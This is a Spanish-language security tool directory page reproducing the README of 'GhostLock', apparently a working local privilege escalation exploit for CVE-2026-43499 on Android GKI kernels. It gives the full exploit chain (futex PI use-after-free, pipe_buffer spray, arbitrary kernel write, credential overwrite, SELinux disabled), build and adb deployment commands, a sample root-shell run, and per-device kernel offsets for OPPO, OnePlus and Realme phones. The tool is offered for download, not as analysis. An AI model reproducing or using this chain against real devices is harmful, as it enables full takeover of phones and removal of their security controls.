Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
GhostLock — CVE-2026-43499 futex PI stack UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ?????? | Kitploit
Herramientas/GitHubGitHub/wzhdgithub/ghostlock
Seguridad AndroidEscalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónIngeniería InversaExplotación de Binarios
GitHubwzhdgithub/ghostlock

GhostLock

CVE-2026-43499 futex PI stack UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ??????

Ver Repositorio
5120hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

GhostLock - Explotación de elevación de privilegios local CVE-2026-43499

Resumen de la vulnerabilidad

ID CVE: CVE-2026-43499
Tipo de vulnerabilidad: UAF (Use-After-Free) en pila de futex PI (herencia de prioridad)
Alcance: kernel de Linux 6.1 ~ 6.12 (Android GKI)
Efecto: elevación de privilegios local + desactivación de SELinux, obtención de shell root

Principio de funcionamiento

Ruta de disparo de la vulnerabilidad

Espacio de usuario → pselect() → se asigna rt_mutex_waiter en la pila del kernel
                      → la operación futex PI desencadena la liberación del waiter
                      → la memoria del waiter liberado se reutiliza mediante operaciones fd_set
                      → los campos del waiter se controlan con datos fd_set cuidadosamente construidos
                      → rb_erase() desencadena una escritura arbitraria en la memoria del kernel

Cadena de explotación

  1. Disparo de la vulnerabilidad: mediante pselect() + futex PI se libera de forma competitiva rt_mutex_waiter en la pila del kernel
  2. Control del diseño de memoria: rociado del montón del kernel con pipe_buffer para construir un rt_mutex_waiter falso
  3. Escritura arbitraria: uso de las operaciones de árbol de rb_erase() para escribir punteros controlados en la dirección objetivo
  4. Ruta de elevación de privilegios:
    • Modificar la estructura cred: uid/gid → 0, capabilities → todas habilitadas
    • Desactivar SELinux: selinux_state.enforcing → 0
  5. Verificación: volver a escanear ashmem_fops para confirmar la integridad de CFI

Estructura del proyecto

GhostLock/
├── README.md                    # Este documento
├── src/
│   ├── core/                    # Código de explotación principal
│   │   ├── main.c               # Entrada principal, disparo de la vulnerabilidad
│   │   ├── pipe.c               # Rociado de pipe_buffer
│   │   ├── fops.c               # Secuestro de operaciones de archivo
│   │   ├── root.c               # Elevación de privilegios + desactivación de SELinux
│   │   ├── slide.c              # Manejo de la aleatorización de direcciones del kernel
│   │   ├── util.c               # Funciones de utilidad
│   │   ├── miniadb.c            # Servidor ADB en miniatura
│   │   ├── common.h             # Definiciones comunes
│   │   ├── target.h             # Configuración del objetivo
│   │   ├── offset.h             # Incluye desplazamientos
│   │   ├── runtime_offsets.h    # Tabla de desplazamientos en tiempo de ejecución
│   │   └── kernelsnitch/        # Sondeo de direcciones del kernel
│   │       ├── kernelsnitch.h
│   │       ├── futex_hash.h
│   │       ├── utils.h
│   │       └── timeutils.h
│   └── devices/                 # Adaptación de dispositivos
│       ├── offsets.h            # Definición de estructura de desplazamientos
│       ├── findx8/              # OPPO Find X8
│       │   └── offsets.h
│       ├── ace6t/               # OnePlus Ace 6T
│       │   └── offsets.h
│       ├── op15/                # OnePlus 15
│       │   └── offsets.h
│       ├── opd2502/             # OnePlus Pad 2
│       │   └── offsets.h
│       └── rmx5070/             # Realme RMX5070
│           └── offsets.h
├── tools/                       # Herramientas auxiliares
│   └── extract_btf.py           # Script de extracción de desplazamientos BTF
├── btf_*.py                     # Conjunto de scripts de análisis BTF
├── Makefile                     # Script de compilación
├── compile.cmd                  # Script de compilación para Windows
├── build.rsp                    # Archivo de respuesta de compilación
└── ghostlock                    # Artefacto de compilación (ELF aarch64)

Dispositivos compatibles

DispositivoVersión del kernelEstado
OPPO Find X8 (MT6991)6.6.118-android15✅ Adaptado
OnePlus Ace 6T6.1.x✅ Verificado
OnePlus 156.1.x✅ Verificado
OnePlus Pad 26.1.x✅ Verificado
Realme RMX50706.1.x✅ Verificado

Compilación

Requisitos del entorno

  • Android NDK r27c o superior
  • Python 3.x (para análisis BTF)
  • Linux/macOS/WSL (se recomienda Linux)

Pasos de compilación

# 1. Establecer la ruta del NDK
export ANDROID_NDK_HOME=/path/to/android-ndk-r27c

# 2. Compilar
make

# 3. O compilar directamente con el NDK
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
  --target=aarch64-linux-android35 \
  -O2 -Wall -fPIE -pie -pthread \
  -Isrc/core -Isrc/devices \
  -DTARGET_CONFIG_H=\"target.h\" \
  src/core/*.c -o ghostlock

Compilación en Windows

# Usar el compile.cmd proporcionado
compile.cmd

Uso

Requisitos previos

  1. El teléfono tiene la depuración USB activada
  2. El ordenador tiene instalados los controladores ADB
  3. El teléfono está conectado al ordenador mediante USB

Pasos

# 1. Confirmar la conexión del dispositivo
adb devices

# 2. Confirmar la versión del kernel (debe coincidir)
adb shell uname -r
# Salida esperada: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k

# 3. Enviar el exploit al teléfono
adb push ghostlock /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock

# 4. Ejecutar el exploit
adb shell /data/local/tmp/ghostlock

Ejemplo de salida de ejecución

[*] GhostLock - CVE-2026-43499 Local Privilege Escalation
[*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
[*] KASLR base: 0xffffffc080000000
[*] ashmem_misc: 0xffffffc08227c518
[*] ashmem_fops: 0xffffffc0812ef5c0
[*] SELinux enforcing: 0xffffffc082358ee0
[*] Exploiting...
[+] PSELECT path activated
[+] Pipe merge path activated
[+] Root shell obtained!
[+] SELinux disabled
[*] miniadb listening on USB...

Indicadores de éxito

  • Aparece el indicador # (shell root)
  • El comando id muestra uid=0(root)
  • getenforce devuelve Permissive

Detalles técnicos

Diseño de memoria del kernel

KIMAGE_TEXT_BASE = 0xffffffc080000000  (Find X8)
PAGE_OFFSET      = 0xffffffc000000000
PHYS_OFFSET      = 0x40000000
DIRECT_MAP_END   = 0xffffffc400000000  (16GB RAM)

Desplazamientos de símbolos clave (Find X8)

SímboloDesplazamiento
init_task0x0211E280
init_cred0x02130748
selinux_enforcing0x02358EE0
ashmem_misc0x0227C518
ashmem_fops0x012EF5C0
kmalloc_caches0x0167A298

Desplazamientos de estructuras (verificación BTF)

EstructuraCampoDesplazamiento
task_structcred0x820
task_structreal_cred0x818
task_structtasks0x550
task_structpi_lock0x90C
task_structseccomp0x8E8
creduid0x08
credcaps0x30
file_operationsioctl0x48
file_operationssplice_read0xB8

Ruta de explotación

  1. kernelsnitch - escanear la región direct_map para localizar mm_struct
  2. pipe spray - ocupar la memoria del waiter liberado con pipe_buffer
  3. pselect trigger - disparar el UAF y reutilizar el waiter liberado
  4. rb_erase write - lograr escritura arbitraria mediante operaciones de árbol rojo-negro
  5. cred patch - modificar las credenciales del proceso actual
  6. SELinux disable - desactivar el control de acceso obligatorio

Adaptación de dispositivos

Añadir un nuevo dispositivo

  1. Extraer la imagen del kernel:

    # Extraer boot.img del teléfono
    adb pull /dev/block/by-name/boot boot.img
    
    # O extraerlo del paquete de firmware
    
  2. Extraer kallsyms:

    # Usar vmlinux-to-elf
    python3 -m vmlinux_to_elf boot.img
    # Seleccionar la opción "Extract kallsyms"
    
  3. Extraer información BTF:

    python3 btf_task2.py > task_full.txt
    python3 btf_structs2.py > structs.txt
    
Descargar herramienta